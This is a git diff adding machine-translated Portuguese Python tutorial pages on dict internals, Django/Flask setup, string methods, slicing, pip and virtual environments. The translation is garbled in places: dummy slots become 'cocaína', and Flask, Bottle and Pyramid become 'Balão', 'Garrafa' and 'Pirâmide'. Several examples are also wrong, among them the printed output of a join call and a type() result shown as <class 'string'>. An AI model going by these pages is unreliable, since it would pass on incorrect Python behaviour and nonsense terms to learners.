+Python redimensiona a tabela quando o número de virgens cai abaixo de um terço do o número total de slots. No caso usual, o Python dobra o tamanho da tabela (até um máximo atual de 1.073.741.824 slots). No entanto, se muitos exclusões deixam para trás muitos turds, é possível que o número de virgens ficar muito baixo, apesar de poucos cidadãos permanecerem; nesse caso, Python na verdade encolhe a tabela (até um mínimo atual de 4 slots).
+
+Para evitar a surra quando uma mistura de adições e exclusões é feita quando o tabela está perto de um limiar de redimensionamento, o Python na verdade não verifica o número de virgens após uma exclusão (na verdade, ele pressupõe que em breve você estará substituindo o novamente com os cidadãos). Então, curiosamente, apagar uma chave _nunca_ encolhe a mesa. Uma longa seqüência de exclusões, seguida de um acréscimo, pode encolher isso, no entanto. Uma maneira de forçar possíveis encolhimentos sem adicionar uma chave é:
+```
+dict = dict.copy() 
+```
+
+dict.copy () sempre retorna um dicionário livre de cocaína, do menor poder-de-2 tamanho que deixa pelo menos um terço dos slots virgem.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/setting-up-python-web-framework-django-and-flask/index.md b/client/src/guide/portuguese/python/setting-up-python-web-framework-django-and-flask/index.md
new file mode 100644
index 0000000000..41bb84f620
--- /dev/null
+++ b/client/src/guide/portuguese/python/setting-up-python-web-framework-django-and-flask/index.md
@@ -0,0 +1,43 @@
+---
+title: Setting Up Python Web Framework Django and Flask
+localeTitle: Configurando o Python Web Framework Django e Flask
+---
+Neste artigo, estaremos discutindo como instalar o [Django](https://www.djangoproject.com/) e o [Flask](http://flask.pocoo.org/) - dois frameworks web populares escritos em Python.
+
+Talvez você já esteja familiarizado com o amplo uso e o suporte da comunidade para o Python; em desenvolvimento web. Você também pode estar ciente do que é um framework web; e as opções disponíveis para o Python.
+
+Caso essas suposições não sejam verdadeiras, talvez você queira dar uma olhada neste artigo da wiki . Se você for pego, vamos revisar a configuração de frameworks web Python em sua máquina de desenvolvimento local.
+
+Mas seria injusto se ignorarmos completamente o debate [Python 2 vs Python 3](http://docs.python-guide.org/en/latest/starting/which-python/#the-state-of-python-2-vs-3) .
+
+## Ambiente virtual
+
+Antes de instalarmos o Django, faremos com que você instale uma ferramenta extremamente útil para ajudar a manter seu ambiente de codificação organizado em seu computador. É possível pular este passo, mas é altamente recomendado. Começar com a melhor configuração possível poupará muitos problemas no futuro!
+
+Então, vamos criar um ambiente virtual (também chamado virtualenv). O Virtualenv irá isolar sua configuração do Python / Django por projeto. Isso significa que quaisquer alterações feitas em um site não afetarão as outras que você também está desenvolvendo. Limpo, certo?
+
+Para mais informações sobre ambientes virtuais, veja a seção relevante [aqui](https://guide.freecodecamp.org/python/virtual-environments/) .
+
+## Empacotando
+
+Se você já instalou o `pip` , simplesmente:
+```
+$ pip install django 
+```
+
+Após a conclusão da instalação, podemos criar um novo projeto:
+```
+$ django-admin startproject myproject 
+ $ cd myproject 
+ $ python manage.py runserver 
+```
+
+Vá para `http://localhost:8000` ! :foguete:
+
+Nós instalamos com sucesso o framework web da nossa necessidade. No entanto, ainda não está completo. A maioria dos aplicativos da web são direcionados por conteúdo e dados - por isso, precisamos de um armazenamento de dados. Ou, um banco de dados, se você quiser.
+
+No próximo artigo, estaríamos discutindo como instalar o PostgreSQL e usá-lo com nosso aplicativo da web em Python.
+
+Um ponto a ponderar - temos usado muito o `pip` , mas mal dissemos nada sobre isso. Bem, por enquanto, é apenas um gerenciador de pacotes como o `npm` . Tem algumas diferenças com o `npm` ; mas você não precisa se preocupar com isso agora. Se você estiver interessado, confira a [documentação oficial do `pip`](http://pip-python3.readthedocs.org/en/latest/index.html) .
+
+_Se você tiver sugestões ou perguntas, venha se juntar a nós no [gitter](https://gitter.im/FreeCodeCamp/FreeCodeCamp)_ .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/share-file-using-python-simple-http-server/index.md b/client/src/guide/portuguese/python/share-file-using-python-simple-http-server/index.md
new file mode 100644
index 0000000000..f0f1b200d7
--- /dev/null
+++ b/client/src/guide/portuguese/python/share-file-using-python-simple-http-server/index.md
@@ -0,0 +1,20 @@
+---
+title: Share File Using Python SimpleHTTPserver
+localeTitle: Compartilhar arquivo usando o SimpleHTTPserver do Python
+---
+## As etapas precisam seguir para enviar o arquivo.
+
+1.  Certifique-se de ambos os computadores conectados através da mesma rede via LAN ou WIFI.
+2.  Abra o terminal no Ubuntu e verifique se você tem o python instalado no seu PC.
+3.  Se não estiver instalado, instale-o digitando no terminal "sudo apt-get install python" sem aspas.
+4.  Vá para o diretório cujo arquivo você deseja compartilhar usando o comando cd (change directory).
+5.  Digite este comando "python -m simpleHTTPserver" sem aspas.
+6.  Abra um novo terminal e digite ifconfig e encontre seu endereço IP.
+
+## Agora no segundo computador
+
+1.  Abra o navegador e digite o endereço IP do primeiro.
+2.  Não se esqueça de adicionar o número da porta no final do endereço IP, que por padrão é: 8000
+
+Uma página será aberta mostrando a estrutura do tipo Diretório e mostrará todos os arquivos do pc de origem.  
+Agora você pode acessar todos os arquivos.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/sleep-how-can-i-make-a-time-delay-in-python/index.md b/client/src/guide/portuguese/python/sleep-how-can-i-make-a-time-delay-in-python/index.md
new file mode 100644
index 0000000000..bd7674fa0c
--- /dev/null
+++ b/client/src/guide/portuguese/python/sleep-how-can-i-make-a-time-delay-in-python/index.md
@@ -0,0 +1,22 @@
+---
+title: Sleep How Can I Make a Time Delay in Python
+localeTitle: Sono como posso fazer um atraso de tempo em Python
+---
+## Sono como posso fazer um atraso de tempo em Python
+
+O módulo de `time` na biblioteca padrão do Python contém a função `sleep()` que suspende um programa por um determinado número de segundos.
+
+Exemplo:
+```
+import time 
+ 
+ for letter in 'hello, world!': 
+    print(letter) 
+    time.sleep(2)  # sleep 2 seconds between each print 
+```
+
+Números de ponto flutuante podem ser dados como argumento para `sleep()` para tempos de sono mais precisos.
+
+#### Mais Informações:
+
+[Documentação do](https://docs.python.org/3/library/time.html#time.sleep) módulo de tempo na função dormir.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/slicestartstopstep/index.md b/client/src/guide/portuguese/python/slicestartstopstep/index.md
new file mode 100644
index 0000000000..8fad78586d
--- /dev/null
+++ b/client/src/guide/portuguese/python/slicestartstopstep/index.md
@@ -0,0 +1,51 @@
+---
+title: Python Slicestartstopstep
+localeTitle: Python Slicestartstopstep
+---
+`slice(start:stop[:step])` é um objeto que geralmente contém uma parte de uma sequência. Uma fatia é criada usando a notação subscrita, \[\] com dois pontos entre os números quando vários são dados, como em variable\_name \[1: 3: 5\].
+
+## Argumentos
+
+Esta função pode ser usada para dividir tuplas, matrizes e listas.
+
+O valor do parâmetro `start` (ou None, se não fornecido)
+
+O valor do parâmetro `stop` (ou último índice de sequência)
+
+O valor do parâmetro da `step` (ou Nenhum, se não fornecido). Não pode ser 0.
+
+Todos os três devem ser do tipo inteiro.
+
+## Retorna
+
+Se somente a `stop` for fornecida, ela gerará parte da sequência do índice `0` até a `stop` .
+
+Se apenas o `start` for fornecido, ele gera parte da sequência após o `start` índice até o último elemento.
+
+Se ambos `start` e `stop` são fornecidos, ele gera parte da seqüência após o `start` índice até a `stop` .
+
+Se todos os três `start` , `stop` e `step` forem fornecidos, ele gerará a parte da sequência após o `start` índice até a `stop` com o incremento da `step` do índice.
+
+## Exemplo
+```
+a = [1, 2, 3, 4, 5, 6, 7, 8] 
+ print(a[:5])    # prints [1, 2, 3, 4, 5] 
+ print(a[2:])    # prints [3, 4, 5, 6, 7, 8] 
+ print(a[2:5])    # prints [3, 4, 5] 
+ print(a[2:7:2])    # prints [3, 5, 7] 
+```
+
+Você pode indexar o último índice de uma sequência usando `-1` :
+```
+a = [1, 2, 3, 4, 5, 6] 
+ print(a[-1])    # prints 6 
+ print(a[2:-1])    # prints [3, 4, 5] 
+```
+
+Você pode inverter uma sequência usando a notação de fatia `[::-1]` :
+```
+a = [1, 2, 3, 4, 5, 6] 
+ print(a[::-1])    # prints [6, 5, 4, 3, 2, 1] 
+```
+
+[Documentação Oficial](https://docs.python.org/3/library/functions.html#slice) ![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/CT5h)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/string-methods/index.md b/client/src/guide/portuguese/python/string-methods/index.md
new file mode 100644
index 0000000000..1d38245010
--- /dev/null
+++ b/client/src/guide/portuguese/python/string-methods/index.md
@@ -0,0 +1,31 @@
+---
+title: String Methods
+localeTitle: Métodos de String
+---
+**TODO: `string` informação básica**
+
+[Documentos em Python - Strings](https://docs.python.org/3/library/stdtypes.html#strings)
+
+**Criação:**
+
+Uma `string` vazia é criada usando um par de aspas ou apóstrofos:
+
+```shell
+>>> new_string = '' 
+ >>> type(new_string) 
+ <class 'string'> 
+ >>> len(new_string) 
+ 0 
+```
+
+[Documentos em Python - Mais sobre strings](https://docs.python.org/3/tutorial/datastructures.html#more-on-strings)
+
+*   `string.find('you')` Retorna a posição mais baixa em que a substring é encontrada.
+    
+*   `str.join(iterable)` todos os elementos em um `iterable` com uma string especificada.
+    
+*   `str.replace(old, new, max)` é usado para substituir a subseqüência `old` pela string `new` por um total `max` vezes. Este método retorna uma nova cópia da string com a substituição e a `str` original permanece inalterada.
+    
+*   `string.split(separator, maxsplit)` Retorna uma lista de substrings delimitadas pelo `separator` , um número `maxsplit` opcional de vezes, e se não for especificado, a string será dividida em todas as instâncias do `separator` .
+    
+*   `string.strip(to_strip)` Retorna uma string com `to_strip` removida do início e do final da string. Se `to_strip` não for especificado, isso `to_strip` todos os caracteres em branco.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/string-methods/string-find-method/index.md b/client/src/guide/portuguese/python/string-methods/string-find-method/index.md
new file mode 100644
index 0000000000..a62316833c
--- /dev/null
+++ b/client/src/guide/portuguese/python/string-methods/string-find-method/index.md
@@ -0,0 +1,33 @@
+---
+title: String Find Method
+localeTitle: String Find Method
+---
+## String Find Method
+
+Existem duas opções para encontrar uma substring dentro de uma string em Python, `find()` e `rfind()` .
+
+Cada um retornará a posição na qual a substring é encontrada. A diferença entre os dois é que `find()` retorna a posição mais baixa e `rfind()` retorna a posição mais alta.
+
+Argumentos opcionais de início e fim podem ser fornecidos para limitar a pesquisa da subseqüência dentro de partes da cadeia.
+
+Exemplo:
+
+```shell
+>>> string = "Don't you call me a mindless philosopher, you overweight glob of grease!" 
+ >>> string.find('you') 
+ 6 
+ >>> string.rfind('you') 
+ 42 
+```
+
+Se a substring não for encontrada, -1 será retornado.
+
+```shell
+>>> string = "Don't you call me a mindless philosopher, you overweight glob of grease!" 
+ >>> string.find('you', 43)  # find 'you' in string anywhere from position 43 to the end of the string 
+ -1 
+```
+
+Mais Informações:
+
+[Documentação de](https://docs.python.org/3/library/stdtypes.html#string-methods) métodos de string.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/string-methods/string-join-method/index.md b/client/src/guide/portuguese/python/string-methods/string-join-method/index.md
new file mode 100644
index 0000000000..4cfd0f6bdf
--- /dev/null
+++ b/client/src/guide/portuguese/python/string-methods/string-join-method/index.md
@@ -0,0 +1,78 @@
+---
+title: String Join Method
+localeTitle: Método de Junção de Cadeia
+---
+## Método de Junção de Cadeia
+
+O `str.join(iterable)` é usado para unir todos os elementos em um `iterable` com uma cadeia especificada `str` . Se o iterável contiver quaisquer valores não-string, ele gerará uma exceção TypeError.
+
+`iterable` : todos os iteráveis ​​de string. Poderia uma lista de strings, tuple de string ou até mesmo uma string simples.
+
+#### Exemplos
+
+1) Junte-se a is it de strings com `":"`
+
+```python
+print ":".join(["freeCodeCamp", "is", "fun"]) 
+```
+
+Saída
+
+```shell
+freeCodeCamp:is:fun 
+```
+
+2) Junte-se a uma tupla de strings com `" and "`
+
+```python
+print " and ".join(["A", "B", "C"]) 
+```
+
+Saída
+
+```shell
+A and B and C 
+```
+
+3) Insira um `" "` após cada caractere em uma string
+
+```python
+print " ".join("freeCodeCamp") 
+```
+
+Saída:
+
+```shell
+free C ode C amp 
+```
+
+4) Entrando com uma string vazia.
+
+```python
+list1 = ['p','r','o','g','r','a','m'] 
+ print("".join(list1)) 
+```
+
+Saída:
+
+```shell
+program 
+```
+
+5) juntando-se com conjuntos.
+
+```python
+test =  {'2', '1', '3'} 
+ s = ', ' 
+ print(s.join(test)) 
+```
+
+Saída:
+
+```shell
+2, 3, 1 
+```
+
+#### Mais Informações:
+
+[Documentação Python sobre junção de strings](https://docs.python.org/2/library/stdtypes.html#str.join)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/string-methods/string-replace-method/index.md b/client/src/guide/portuguese/python/string-methods/string-replace-method/index.md
new file mode 100644
index 0000000000..115d91a0b9
--- /dev/null
+++ b/client/src/guide/portuguese/python/string-methods/string-replace-method/index.md
@@ -0,0 +1,41 @@
+---
+title: String Replace Method
+localeTitle: Método de Substituição de Cadeias
+---
+## Método de Substituição de Cadeias
+
+O `str.replace(old, new, max)` é usado para substituir a subseqüência `old` pela string `new` por um total `max` vezes. Este método retorna uma nova cópia da string com a substituição. A string original `str` permanece inalterada.
+
+#### Exemplos
+
+1.  Substitua todas as ocorrências de `"is"` por `"WAS"`
+
+```python
+string = "This is nice. This is good." 
+ newString = string.replace("is","WAS") 
+ print(newString) 
+```
+
+Saída
+
+```python
+ThWAS WAS nice. ThWAS WAS good. 
+```
+
+2.  Substitua as duas primeiras ocorrências de `"is"` por `"WAS"`
+
+```python
+string = "This is nice. This is good." 
+ newString = string.replace("is","WAS", 2) 
+ print(newString) 
+```
+
+Saída
+
+```python
+ThWAS WAS nice. This is good. 
+```
+
+#### Mais Informações:
+
+Leia mais sobre a substituição de strings nos [documentos do Python](https://docs.python.org/2/library/string.html#string.replace)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/string-methods/string-split-method/index.md b/client/src/guide/portuguese/python/string-methods/string-split-method/index.md
new file mode 100644
index 0000000000..c2f6f3d6f5
--- /dev/null
+++ b/client/src/guide/portuguese/python/string-methods/string-split-method/index.md
@@ -0,0 +1,86 @@
+---
+title: String Split Method
+localeTitle: Método de divisão de string
+---
+A função `split()` é comumente usada para divisão de strings em Python.
+
+#### O método `split()`
+
+Predefinição: `string.split(separator, maxsplit)`
+
+`separator` : a cadeia do delimitador. Você divide a string com base nesse caractere. Por exemplo Poderia ser " ", ":", ";" etc
+
+`maxsplit` : O número de vezes para dividir a string com base no `separator` . Se não for especificado ou -1, a string será dividida com base em todas as ocorrências do `separator`
+
+Este método retorna uma lista de substrings delimitadas pelo `separator`
+
+#### Exemplos
+
+1) Dividir string no espaço: ""
+
+```python
+string = "freeCodeCamp is fun." 
+ print(string.split(" ")) 
+```
+
+Saída:
+
+```python
+['freeCodeCamp', 'is', 'fun.'] 
+```
+
+2) Dividir string na vírgula: ","
+
+```python
+string = "freeCodeCamp,is fun, and informative" 
+ print(string.split(",")) 
+```
+
+Saída:
+
+```python
+['freeCodeCamp', 'is fun', ' and informative'] 
+```
+
+3) Nenhum `separator` especificado
+
+```python
+string = "freeCodeCamp is fun and informative" 
+ print(string.split()) 
+```
+
+Saída:
+
+```python
+['freeCodeCamp', 'is', 'fun', 'and', 'informative'] 
+```
+
+Nota: Se nenhum `separator` for especificado, a cadeia será despojada de **todo** espaço em branco
+
+```python
+string = "freeCodeCamp        is     fun and    informative" 
+ print(string.split()) 
+```
+
+Saída:
+
+```python
+['freeCodeCamp', 'is', 'fun', 'and', 'informative'] 
+```
+
+3) Dividir string usando `maxsplit` . Aqui dividimos a string "" duas vezes:
+
+```python
+string = "freeCodeCamp is fun and informative" 
+ print(string.split(" ", 2)) 
+```
+
+Saída:
+
+```python
+['freeCodeCamp', 'is', 'fun and informative'] 
+```
+
+#### Mais Informações
+
+Confira os [documentos](https://docs.python.org/2/library/stdtypes.html#str.split) do [Python sobre a divisão de strings](https://docs.python.org/2/library/stdtypes.html#str.split)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/string-methods/string-strip-method/index.md b/client/src/guide/portuguese/python/string-methods/string-strip-method/index.md
new file mode 100644
index 0000000000..0f68f41cf9
--- /dev/null
+++ b/client/src/guide/portuguese/python/string-methods/string-strip-method/index.md
@@ -0,0 +1,38 @@
+---
+title: String Strip Method
+localeTitle: Método de Faixa de Cordas
+---
+## Método de Faixa de Cordas
+
+Existem três opções para separar caracteres de uma string em Python, `lstrip()` , `rstrip()` e `strip()` .
+
+Cada um retornará uma cópia da string com os caracteres removidos, desde o início, o final ou o início e o fim. Se nenhum argumento for dado, o padrão é retirar os caracteres do espaço em branco.
+
+Exemplo:
+
+```py
+>>> string = '   Hello, World!    ' 
+ >>> strip_beginning = string.lstrip() 
+ >>> strip_beginning 
+ 'Hello, World!    ' 
+ >>> strip_end = string.rstrip() 
+ >>> strip_end 
+ '   Hello, World!' 
+ >>> strip_both = string.strip() 
+ >>> strip_both 
+ 'Hello, World!' 
+```
+
+Um argumento opcional pode ser fornecido como uma string contendo todos os caracteres que você deseja remover.
+
+```py
+>>> url = 'www.example.com/' 
+ >>> url.strip('w./') 
+ 'example.com' 
+```
+
+No entanto, observe que apenas o primeiro `.` foi retirado da string. Isso ocorre porque a função `strip` apenas retira os caracteres de argumento que ficam à esquerda ou à direita. Desde que vem antes do primeiro `.` eles ficam despojados juntos, enquanto 'com' está presente na extremidade direita antes do `.` depois de descascar `/`
+
+#### Mais Informações:
+
+[Documentação de](https://docs.python.org/3/library/stdtypes.html#string-methods) métodos de string.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/ternary-operator/index.md b/client/src/guide/portuguese/python/ternary-operator/index.md
new file mode 100644
index 0000000000..6ec0f30740
--- /dev/null
+++ b/client/src/guide/portuguese/python/ternary-operator/index.md
@@ -0,0 +1,39 @@
+---
+title: Python Ternary Operater
+localeTitle: Operador Ternário Python
+---
+# Operador ternário em Python
+
+Operações ternárias no Python, muitas vezes também chamadas de expressões condicionais, permitem ao programador realizar uma avaliação e retornar um valor baseado na verdade da condição dada.
+
+O operador ternário difere de um padrão `if` , `else` , `elif` estrutura no sentido de que não é uma estrutura de fluxo de controle, e se comporta mais como outros operadores como `==` ou `!=` Na linguagem Python.
+
+### Exemplo
+
+Neste exemplo, a string `Even` é retornada se a variável `val` for par, caso contrário, a string `Odd` será retornada. A string retornada é então atribuída à variável `is_even` e impressa no console.
+
+#### Entrada
+
+```python
+for val in range(1, 11): 
+    is_even = "Even" if val % 2 == 0 else "Odd" 
+    print(val, is_even, sep=' = ') 
+```
+
+#### Saída
+```
+1 = Odd 
+ 2 = Even 
+ 3 = Odd 
+ 4 = Even 
+ 5 = Odd 
+ 6 = Even 
+ 7 = Odd 
+ 8 = Even 
+ 9 = Odd 
+ 10 = Even 
+```
+
+### Fontes
+
+https://docs.python.org/2.5/whatsnew/pep-308.html
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/truth-value-testing/index.md b/client/src/guide/portuguese/python/truth-value-testing/index.md
new file mode 100644
index 0000000000..ab46178e66
--- /dev/null
+++ b/client/src/guide/portuguese/python/truth-value-testing/index.md
@@ -0,0 +1,20 @@
+---
+title: Python Truth Value Testing
+localeTitle: Teste de valor de verdade em Python
+---
+[Documentos do Python - Teste de valor de verdade](https://docs.python.org/3/library/stdtypes.html#truth-value-testing)
+
+Qualquer objeto pode ser testado quanto ao valor de verdade, para uso em uma condição `if` ou `while` ou como operando de uma operação booleana como `and` , `or` , ou `not` .
+
+Os seguintes valores são considerados falsos:
+
+*   `None`
+*   `False`
+*   zero de qualquer tipo numérico, por exemplo, `0` , `0.0` , `0j` , `Decimal(0)` , `Fraction(0, 1)` .
+*   qualquer sequência vazia, por exemplo, `''` , `()` , `[]` , `set()` , `range(0)` .
+*   qualquer mapeamento vazio, por exemplo, `{}` .
+*   instâncias de classes definidas pelo usuário, se a classe definir um `__bool__()` ou `__len__()` , quando esse método retornar `False` ou `0` .
+
+Todos os outros valores são considerados verdadeiros - então, objetos de muitos tipos são sempre verdadeiros.
+
+Operações e funções internas que possuem um resultado booleano sempre retornam `0` ou `False` para false e `1` ou `True` para true, a menos que seja indicado o contrário. (Importante exceção: as operações booleanas `or` `and` sempre retornam um de seus operandos.)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/using-pip/index.md b/client/src/guide/portuguese/python/using-pip/index.md
new file mode 100644
index 0000000000..e64bd93a73
--- /dev/null
+++ b/client/src/guide/portuguese/python/using-pip/index.md
@@ -0,0 +1,67 @@
+---
+title: Python Using Pip
+localeTitle: Python usando Pip
+---
+Vimos como usar `import` declarações para `import` vários módulos e usá-los em nossos programas. O próprio Python vem com vários módulos internos, mas a comunidade Python tem mais a oferecer.
+
+> São os módulos que tornam o python tão poderoso!
+
+Módulos de terceiros adicionam muito mais funcionalidade ao Python. Agora aprenderíamos como instalar esses módulos para que possamos usá-los em nossos programas.
+
+A maneira mais simples é usar `pip`
+```
+pip install <module_name> 
+```
+
+Se você usou `npm` , então você pode pensar nisso como _npm_ do Python.
+
+Nota: A diferença é que, com o npm, a `npm install` por padrão instala os pacotes localmente em um projeto, enquanto a `pip install` por padrão, é instalada globalmente. Para instalar módulos localmente, você precisa criar e ativar o que é chamado [de ambiente virtual](http://docs.python-guide.org/en/latest/dev/virtualenvs/) , portanto, `pip install` instalado na pasta em que o ambiente virtual está localizado, em vez de globalmente (o que pode exigir privilégios de administrador).
+
+Da última vez, no wiki de `import-statements` , usamos o módulo `requests` como um exemplo. Como é um módulo de terceiros, temos que instalá-lo separadamente após instalar o python.
+
+Instalá-lo seria tão simples quanto `pip install requests` . Você pode até mesmo passar vários argumentos junto com ele. O que você vai encontrar mais vezes é `--upgrade` . Você pode atualizar um módulo python por:
+```
+pip install <module_name> --upgrade 
+```
+
+Por exemplo, atualizar o módulo de solicitações para sua versão mais recente seria tão simples quanto as `pip install requests --upgrade` .
+
+Antes de usar o `pip` , você precisará instalá-lo (é bem simples). Você pode instalá-lo [daqui](https://bootstrap.pypa.io/get-pip.py)
+
+Basta clicar no link. E salve o arquivo como `get-pip.py` _Por favor, não esqueça a extensão `.py` ._ E corra.
+
+Uma alternativa ao uso do pip seria tentar o [`easy_install`](https://bootstrap.pypa.io/ez_setup.py) .
+
+O uso do `easy_install` também é simples. A sintaxe é:
+```
+easy_install <module_name> 
+```
+
+No entanto, `pip` é mais popular que usar `easy_install` .
+
+**Nota:** Em alguns sistemas em que o Python 2 e o Python 3 estão instalados, o `pip` e o `pip3` farão coisas diferentes. `pip` instala a versão Python 2 do pacote e o `pip3` instala a versão do pacote Python 3. Para mais informações sobre a diferença entre o Python 2 e 3, consulte [este](https://guide.freecodecamp.org/python/python-2-vs-python-3) guia. Você pode verificar o `pip` versão fazendo `pip --version` e / ou `pip3 --version` :
+```
+pip3 --version 
+ pip 18.0 from /usr/local/lib/python3.5/dist-packages/pip (python 3.5) 
+```
+
+Também podemos criar um arquivo txt contendo uma lista de módulos que devem ser instalados usando o pip. Por exemplo, poderíamos criar o arquivo `requirements.txt` e seu conteúdo:
+```
+Kivy-Garden==0.1.4 
+ macholib==1.5.1 
+ idna==2.6 
+ geoip2nation==0.1.2 
+ docutils>=0.14 
+ Cython 
+```
+
+Neste arquivo também podemos definir uma versão para a instalação. Depois disso, invocando pip com:
+```
+ pip install -r <FILE CONTAINING MODULES> 
+ 
+          OR IN OUR CASE 
+ 
+ pip install -r requirements.txt 
+```
+
+Deve instalar todos os módulos listados no arquivo.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/using-python-for-web-development/index.md b/client/src/guide/portuguese/python/using-python-for-web-development/index.md
new file mode 100644
index 0000000000..5454baeb87
--- /dev/null
+++ b/client/src/guide/portuguese/python/using-python-for-web-development/index.md
@@ -0,0 +1,15 @@
+---
+title: Using Python for Web Development
+localeTitle: Usando o Python para desenvolvimento na Web
+---
+O Python é conhecido por sua bela sintaxe e facilidade de leitura. Essa linguagem de script pode ser usada para uma prototipagem rápida e suja da sua ideia de um aplicativo da web. Ele também pode ser usado para criar grandes aplicativos da Web escalonáveis ​​e de fácil manutenção.
+
+#### Frameworks da Web mais populares em Python:
+
+*   Django
+*   Balão
+*   Garrafa
+*   Pirâmide
+*   Web2py
+
+Então, vamos começar com alguns frameworks web e aprender como eles ajudam a construir aplicativos web em mãos. Mas antes disso, precisaríamos configurar o ambiente de desenvolvimento concluindo a [instalação de estruturas da Web no Python](https://guide.freecodecamp.org/python/setting-up-python-web-framework-django-and-flask) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/variable-names-and-binding/index.md b/client/src/guide/portuguese/python/variable-names-and-binding/index.md
new file mode 100644
index 0000000000..3e01133928
--- /dev/null
+++ b/client/src/guide/portuguese/python/variable-names-and-binding/index.md
@@ -0,0 +1,31 @@
+---
+title: Python Variables Names and Binding
+localeTitle: Nomes e vinculação de variáveis ​​Python
+---
+Ter _objetos_ não é útil, a menos que haja uma maneira de usá-los. Para usar um _objeto_ , deve haver uma maneira de referenciá-los. Em Python, isso é feito **vinculando** objetos a **nomes** . Uma visão geral detalhada de pode ser encontrada [aqui](https://docs.python.org/3/reference/executionmodel.html)
+
+Uma maneira de fazer isso é usando uma [_instrução de atribuição_](https://docs.python.org/3/reference/simple_stmts.html#assignment-statements) . Isso é comumente chamado de _atribuição de uma variável_ no contexto do Python. Se estiver falando sobre programação no contexto de outras linguagens, **vincular** um _objeto_ a um **nome** pode ser mais preciso.
+```
+>>> some_number = 1 
+ >>> print(some_number) 
+ 1 
+```
+
+No exemplo acima, o destino da declaração de atribuição é um nome (identificador), `some_number` . O _objeto que_ está sendo atribuído é o número 1. A instrução **liga** o _objeto_ ao **nome** . A segunda instrução, usamos essa ligação, `print` o _objeto ao_ qual `some_number` se refere.
+
+O identificador não é precedido por um _tipo_ . Isso é porque o Python é uma linguagem tipificada dinamicamente. O identificador é ligado a um _objeto_ que possui um _tipo_ , no entanto, o identificador em si pode ser rebatido para outro _objeto_ de um _tipo_ diferente:
+```
+>>> some_variable = 1 
+ >>> print(some_variable) 
+ 1 
+ >>> some_variable = "Hello campers!" 
+ >>> print(some_variable) 
+ Hello campers! 
+```
+
+Ao nomear variáveis, você deve seguir estas regras:
+
+*   Um nome de variável deve começar com uma letra ou o caractere de sublinhado
+*   Um nome de variável não pode começar com um número ou caracteres especiais (! @ #% ^ & \*, Etc.)
+*   Um nome de variável só pode conter caracteres alfanuméricos e sublinhados (Az, 0-9 e \_)
+*   Os nomes de variáveis ​​são sensíveis a maiúsculas e minúsculas (num, NUM e Num são três variáveis ​​diferentes)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/virtual-environments/index.md b/client/src/guide/portuguese/python/virtual-environments/index.md
new file mode 100644
index 0000000000..c0534cbc53
--- /dev/null
+++ b/client/src/guide/portuguese/python/virtual-environments/index.md
@@ -0,0 +1,148 @@
+---
+title: Virtual Environments
+localeTitle: Ambientes Virtuais
+---
+## Ambientes Virtuais
+
+Ambientes virtuais podem ser descritos como diretórios de instalação isolados. Esse isolamento permite que você localize a instalação das dependências do seu projeto, sem forçá-lo a instalá-las em todo o sistema.
+
+Imagine que você tenha dois aplicativos, App1 e App2. Ambos exigem o pacote Pak, mas com versões diferentes. Se você instalar o Pak versão 2.3 para App1, você não poderá executar o App2, porque ele requer a versão 3.1. Aqui é quando os ambientes virtuais são úteis.
+
+Benefícios:
+
+*   Você pode ter vários ambientes, com vários conjuntos de pacotes, sem conflitos entre eles. Desta forma, os requisitos de diferentes projetos podem ser satisfeitos ao mesmo tempo.
+*   Você pode facilmente liberar seu projeto com seus próprios módulos dependentes.
+
+Aqui estão duas maneiras de criar ambientes virtuais em Python.
+
+## Virtualenv
+
+[`virtualenv`](https://virtualenv.pypa.io/en/stable/) é uma ferramenta usada para criar ambientes Python isolados. Ele cria uma pasta que contém todos os executáveis ​​necessários para usar os pacotes que um projeto Python precisaria.
+
+Você pode instalá-lo com `pip` :
+```
+pip install virtualenv 
+```
+
+Verifique a instalação com o seguinte comando:
+```
+virtualenv --version 
+```
+
+### Crie um ambiente
+
+Para criar um ambiente virtual, use:
+```
+virtualenv --no-site-packages my-env 
+```
+
+Isso cria uma pasta no diretório atual com o nome do ambiente ( `my-env/` ). Esta pasta contém os diretórios para instalação de módulos e executáveis ​​do Python.
+
+Você também pode especificar a versão do Python com a qual deseja trabalhar. Apenas use o argumento `--python=/path/to/python/version` . Por exemplo, `python2.7` :
+```
+virtualenv --python=/usr/bin/python2.7 my-env 
+```
+
+### Listar Ambientes
+
+Você pode listar os ambientes disponíveis com:
+```
+lsvirtualenv 
+```
+
+### Ativar um ambiente
+
+Antes de começar a usar o ambiente, você precisa ativá-lo:
+```
+source my-env/bin/activate 
+```
+
+Isso garante que apenas pacotes sob `my-env/` sejam usados.
+
+Você notará que o nome do ambiente é mostrado à esquerda do prompt. Desta forma, você pode ver qual é o ambiente ativo.
+
+### Instalar pacotes
+
+Você pode instalar pacotes um por um ou definindo um arquivo `requirements.txt` para o seu projeto.
+```
+pip install some-package 
+ pip install -r requirements.txt 
+```
+
+Se você deseja criar um arquivo `requirements.txt` partir dos pacotes já instalados, execute o seguinte comando:
+```
+pip freeze > requirements.txt 
+```
+
+O arquivo conterá a lista de todos os pacotes instalados no ambiente atual e suas respectivas versões. Isso ajudará você a liberar seu projeto com seus próprios módulos dependentes.
+
+### Desativar um ambiente
+
+Se você terminar de trabalhar com o ambiente virtual, poderá desativá-lo com:
+```
+deactivate 
+```
+
+Isso coloca você de volta ao interpretador Python padrão do sistema com todas as suas bibliotecas instaladas.
+
+### Excluir um ambiente
+
+Simplesmente exclua a pasta do ambiente.
+
+## Conda
+
+[`Conda`](https://conda.io/docs/index.html) é um pacote, dependência e gerenciamento de ambiente para muitos idiomas, incluindo o Python.
+
